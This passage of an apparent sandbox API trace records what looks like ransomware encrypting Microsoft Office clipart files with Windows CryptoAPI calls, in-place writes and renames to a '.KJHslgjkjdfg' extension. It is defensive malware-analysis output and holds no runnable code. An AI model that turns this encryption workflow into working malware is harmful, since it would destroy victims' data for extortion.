lpNewFilePointer=0x0) returned 1 [0196.140] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x22b0, lpOverlapped=0x0) returned 1 [0196.140] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.140] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.140] SetEndOfFile (hFile=0x130) returned 1 [0196.144] GetProcessHeap () returned 0x990000 [0196.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.144] GetProcessHeap () returned 0x990000 [0196.144] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.kjhslgjkjdfg")) returned 1 [0196.145] CloseHandle (hObject=0x130) returned 1 [0196.146] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0196.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.146] GetProcessHeap () returned 0x990000 [0196.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.146] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.152] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.152] GetProcessHeap () returned 0x990000 [0196.152] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.152] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.152] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.152] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.152] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.152] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.152] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.153] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.153] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe78, lpOverlapped=0x0) returned 1 [0196.153] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe80, dwBufLen=0xe80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe80) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe80, lpOverlapped=0x0) returned 1 [0196.153] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.153] SetEndOfFile (hFile=0x130) returned 1 [0196.156] GetProcessHeap () returned 0x990000 [0196.156] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.156] GetProcessHeap () returned 0x990000 [0196.156] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.kjhslgjkjdfg")) returned 1 [0196.158] CloseHandle (hObject=0x130) returned 1 [0196.158] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0196.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.159] GetProcessHeap () returned 0x990000 [0196.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.159] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.159] GetProcessHeap () returned 0x990000 [0196.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.159] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.159] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.159] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.162] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.162] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbc0, lpOverlapped=0x0) returned 1 [0196.162] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbc0) returned 1 [0196.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.163] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbc0, lpOverlapped=0x0) returned 1 [0196.163] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.163] SetEndOfFile (hFile=0x130) returned 1 [0196.166] GetProcessHeap () returned 0x990000 [0196.166] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.166] GetProcessHeap () returned 0x990000 [0196.166] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.kjhslgjkjdfg")) returned 1 [0196.167] CloseHandle (hObject=0x130) returned 1 [0196.167] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0196.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.168] GetProcessHeap () returned 0x990000 [0196.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.168] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.169] GetProcessHeap () returned 0x990000 [0196.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.169] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.171] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.172] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.172] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e80, lpOverlapped=0x0) returned 1 [0196.173] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e80, dwBufLen=0x4e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e80) returned 1 [0196.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.174] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e80, lpOverlapped=0x0) returned 1 [0196.174] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.174] SetEndOfFile (hFile=0x130) returned 1 [0196.177] GetProcessHeap () returned 0x990000 [0196.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.177] GetProcessHeap () returned 0x990000 [0196.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.kjhslgjkjdfg")) returned 1 [0196.178] CloseHandle (hObject=0x130) returned 1 [0196.178] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0196.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.179] GetProcessHeap () returned 0x990000 [0196.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.179] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.179] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.185] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.185] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.185] GetProcessHeap () returned 0x990000 [0196.185] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.185] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.186] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.186] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.186] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.186] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.186] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8f0c, lpOverlapped=0x0) returned 1 [0196.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f10) returned 1 [0196.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.188] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8f10, lpOverlapped=0x0) returned 1 [0196.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.189] SetEndOfFile (hFile=0x130) returned 1 [0196.192] GetProcessHeap () returned 0x990000 [0196.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.192] GetProcessHeap () returned 0x990000 [0196.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.kjhslgjkjdfg")) returned 1 [0196.194] CloseHandle (hObject=0x130) returned 1 [0196.194] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0196.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 